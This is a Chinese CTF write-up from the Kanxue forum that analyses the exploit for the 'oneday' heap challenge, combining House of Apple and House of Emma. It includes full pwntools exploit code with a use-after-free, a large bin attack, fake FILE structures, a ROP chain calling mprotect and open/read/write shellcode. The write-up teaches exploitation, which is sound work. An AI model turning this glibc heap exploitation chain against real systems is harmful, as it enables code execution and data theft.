一
前言
初学house of apple,学习了roderick01师傅的文章内容,在看House of apple(1)(文章链接)时看到有练习题目pwn_oneday,但是在跟着exp复现对应攻击时发现对于exp也没有过多的解释,这里也是对该题目的exp进行详细的分析,也是更进一步的了解如何利用house of apple的攻击。
二
前置知识
对于该题目大佬的攻击主要是利用了house of apple和house of emma的组合攻击,最终实现了orw读取flag,在这里主要困难的点在于这里的edit也就是修改chunk中内容的步骤只能进行一次,所以没办法直接利用house of emma(因为house of emma需要两次large bin attack,首先攻击pointer_guard将其修改为已知的内容,第二次攻击是攻击_IO_list_all,将其进行挟持到堆上,这样就可以控制FILE的结构,实现最终的攻击效果),因此由于本题只能进行一次修改,没办法构造出两次写,所以想到了利用house of apple,首先将_IO_list_all上的值覆盖为堆上的值,之后利用house of apple可以实现对于pointer_guard进行覆盖为一个已知的值,这样在利用chain的值指向之后伪造的第二个file结构,对于这个结构可以实现house of emma的攻击方式,最终实现orw攻击。
讲完了大致的攻击思路,简单介绍以下house of apple的攻击原理,简单来说就是利用了_IO_wstrn_overflow这个函数,通过伪造file的结构,这个函数可以覆盖传入fp->_wide_data上的地址覆盖为可以知道的堆地址,攻击效果和进行一次large bin attack一样,实现任意地址写已知地址。
这里主要是利用了在fflush(stderr),这个函数会稳定的调用_IO_file_jumps中的sync,如果我们吧这个指针伪造为之前提到过的pcop的Gadget也就是:
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
我们就可以实现控制rdx,并且call对应的函数,这里一般为setcontext + 61,但是这篇文章是将其call mprotect函数,这样就可以增加可执行权限,之后直接执行orw的shellcode就可以了,原理是一样的。
三
脚本分析
对于这个题目,首先分析以下对应的功能,主要分为add,delete,edit,show四个功能。
在分析add的实现之前需要说明的是,add的chunk大小是固定的,在main函数的时候需要输入一个key值,在之后add的chunk大小只能是key,key + 0x10,2 * key这三个大小的chunk。
由于我们只能任意修改一次的chunk内容,所以如果我们想要即进行large bin attack攻击形成任意地址写一个堆地址,又在这个堆地址内完成对于fake file的构造,就需要我们完成以下的chunk构造,这里借用了roderick01师傅的图(这个图有个小问题,应该chunk的起始为bk这里)。只有这样我们才可以在伪造bk_nextsize的同时修改size位并且构造fakechunk实现House of apple和house of emma的攻击。
因此为了满足这个条件,我们需要对于堆块进行构造,这里roderick01大佬选择的key的值为0xa,这里需要注意对于key大小的选择,需要满足乘以0x110之后的size分配出来的chunk大小位于large bin中,并且chunk1和chunk3的大小需要位于同一个Bins中,这样才可以利用large bin attack向指定位置写堆地址。
之后就是讲解一下如何进行堆风水的排布,这里利用了以下两个公式,我们将x设置为key + 0x10,把y设置为key + 0x20,把z设置为2 * key + 0x10,通过这个恒等式我们可以发现如果我们想构造出上述的示意图效果,只需要分配2个x,这样下一个chunk的指针指向的就是示意图中的chunk2,如果分配两个y下一次分配chunk的指针就会指向chunk3,如果分配一个z,下一个chunk的指针就会指向chunk1。自此就完成了对于key的分配以及一些chunk构造的分析,之后就是对于函数的四个功能进行分析。
首先是add函数,这里之前也说过,主要就是三个选项,这里的key值也是固定的,所以只能分配key,key + 0x10,2 * key这三个大小的chunk。
之后就是delete函数,这个函数也是存在悬空指针,存在uaf漏洞。
edit函数,这里只能修改一次chunk的内容,由于没有检查是否该chunk已经被释放,所以可以利用uaf来进行攻击。
最后也就是show函数,这里也就是泄露Heap和libc基地址的,也是只有一次机会。
对于这个题目,之前已经讲述了怎么来构造示意图中的形式,所以首先就是要预留指向对应位置的指针,这里首先申请两个y的chunk和一个x的chunk,这样2这个指针指向的就是示意图中的chunk3,之后把这三个chunk进行删除,由于都是Unsortedbin,删除之后会进行合并,导致和没有分配chunk之前一样。
io.sendlineafter(b'enter your key >>\n', str(10).encode())
add(2)#0
add(2)#1
add(1)#2
delete(2)
delete(1)
delete(0)
之后就是分配两个x的chunk,并且泄露出heap和libc的基地址,这里的代码实现主要是通过分配四个x的chunk,这样5这个指针就会指向示意图中的chunk2,之后删除3和5这两个chunk,由于他们是unsortedbin,所以我们可以一次性的泄露出libc和heap的基地址,之后就是将4和6删除,继续恢复堆为初始化的状态。
add(1)#3
add(1)#4
add(1)#5
add(1)#6
delete(3)
delete(5)
show(3)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1f2cc0
io.recv(2)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x17f0
delete(4)
delete(6)
自此,已经把其它两个指针的指向构造完毕,之后就是分配一个z的chunk,这样8这个指针就可以指向示意图中chunk1这个chunk了。之后将这个8指向的chunk删掉在申请一个最大的chunk,使得8指向的chunk进入large bin,这样就完成了对于chunk的所有构造,之后就是进行large bin attack,house of apple和house of emma攻击了。
add(3)#7
add(1)#8
add(1)#9
delete(8)
add(3)#10
f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._lock = _lock
f1._mode = 0
f1._wide_data = point_guard_addr
f1.vtable = _IO_wstrn_jumpsf2 = IO_FILE_plus_struct()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._mode = 0
f2._lock = _lock
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58
data = flat({
0x8: target_addr - 0x20,
0x10: {
0: {
0: bytes(f1),
0x100:{
0: bytes(f2),
0xe0: [chain + 0x100, rol(magic_gadget ^ expected, 0x11)],
0x100: [
add_rsp_0x20_pop_rbx_ret,
chain + 0x100,
0,
0,
mov_rsp_rdx_ret,
0,
pop_rdi_ret,
chain & ~0xfff,
pop_rsi_ret,
0x4000,
pop_rdx_rbx_ret,
7, 0,
libc_base + libc.sym['mprotect'],
chain + 0x200
],
0x200: asm(shellcraft.open('./flag', 0) + shellcraft.read(3, heap_base, 0x100) + shellcraft.write(1, heap_base, 0x100))
}
},
0xa80: [0, 0xab1]
}
})
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
pop_rdi_ret,
chain & ~0xfff,
pop_rsi_ret,
0x4000,
pop_rdx_rbx_ret,
7, 0,
libc_base + libc.sym['mprotect'],
chain + 0x200
from pwn import *
from pwncli import *
io = process("./oneday")
libc = ELF("./libc.so.6")
context.arch = 'amd64'
def add(choice):
io.recvuntil(b'enter your command: \n')
io.sendline(b'1')
io.recvuntil(b'choise: ')
io.sendline(str(choice).encode())def delete(idx):
io.recvuntil(b'enter your command: \n')
io.sendline(b'2')
io.recvuntil(b'Index: \n')
io.sendline(str(idx).encode())def edit(idx, message):
io.recvuntil(b'enter your command: \n')
io.sendline(b'3')
io.recvuntil(b'Index: ')
io.sendline(str(idx).encode())
io.recvuntil(b'Message: \n')
io.send(message)def show(idx):
io.recvuntil(b'enter your command: \n')
io.sendline(b'4')
io.recvuntil(b'Index: ')
io.sendline(str(idx).encode())def exit():
io.recvuntil(b'enter your command: \n')
io.sendline(b'9')io.sendlineafter(b'enter your key >>\n', str(10).encode())
add(2)#0
add(2)#1
add(1)#2
delete(2)
delete(1)
delete(0)
add(1)#3
add(1)#4
add(1)#5
add(1)#6
delete(3)
delete(5)
show(3)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1f2cc0
io.recv(2)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x17f0
delete(4)
delete(6)
add(3)#7
add(1)#8
add(1)#9
delete(8)
add(3)#10target_addr = libc_base + libc.sym['_IO_list_all']
_IO_wstrn_jumps = libc_base + 0x1f3d20
_IO_cookie_jumps = libc_base + 0x1f3ae0
_lock = libc_base + 0x1f5720
point_guard_addr = libc_base - 0x2890
expected = heap_base + 0x1900
chain = heap_base + 0x1910
magic_gadget = libc_base + 0x146020mov_rsp_rdx_ret = libc_base + 0x56530
add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_rbx_ret = libc_base + 0x87729f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._lock = _lock
f1._mode = 0
f1._wide_data = point_guard_addr
f1.vtable = _IO_wstrn_jumpsf2 = IO_FILE_plus_struct()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._mode = 0
f2._lock = _lock
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58data = flat({
0x8: target_addr - 0x20,
0x10: {
0: {
0: bytes(f1),
0x100:{
0: bytes(f2),
0xe0: [chain + 0x100, rol(magic_gadget ^ expected, 0x11)],
0x100: [
add_rsp_0x20_pop_rbx_ret,
chain + 0x100,
0,
0,
mov_rsp_rdx_ret,
0,
pop_rdi_ret,
chain & ~0xfff,
pop_rsi_ret,
0x4000,
pop_rdx_rbx_ret,
7, 0,
libc_base + libc.sym['mprotect'],
chain + 0x200
],
0x200: asm(shellcraft.open('./flag', 0) + shellcraft.read(3, heap_base, 0x100) + shellcraft.write(1, heap_base, 0x100))
}
},
0xa80: [0, 0xab1]
}
})edit(5, data)
delete(2)
add(3)
exit()
io.interactive()
四
debug来了解整个攻击的流程
五
总结
看雪ID:a2ure
https://bbs.kanxue.com/user-home-991890.htm
# 往期推荐
2、在Windows平台使用VS2022的MSVC编译LLVM16
3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱
球分享
球点赞
球在看
点击阅读原文查看更多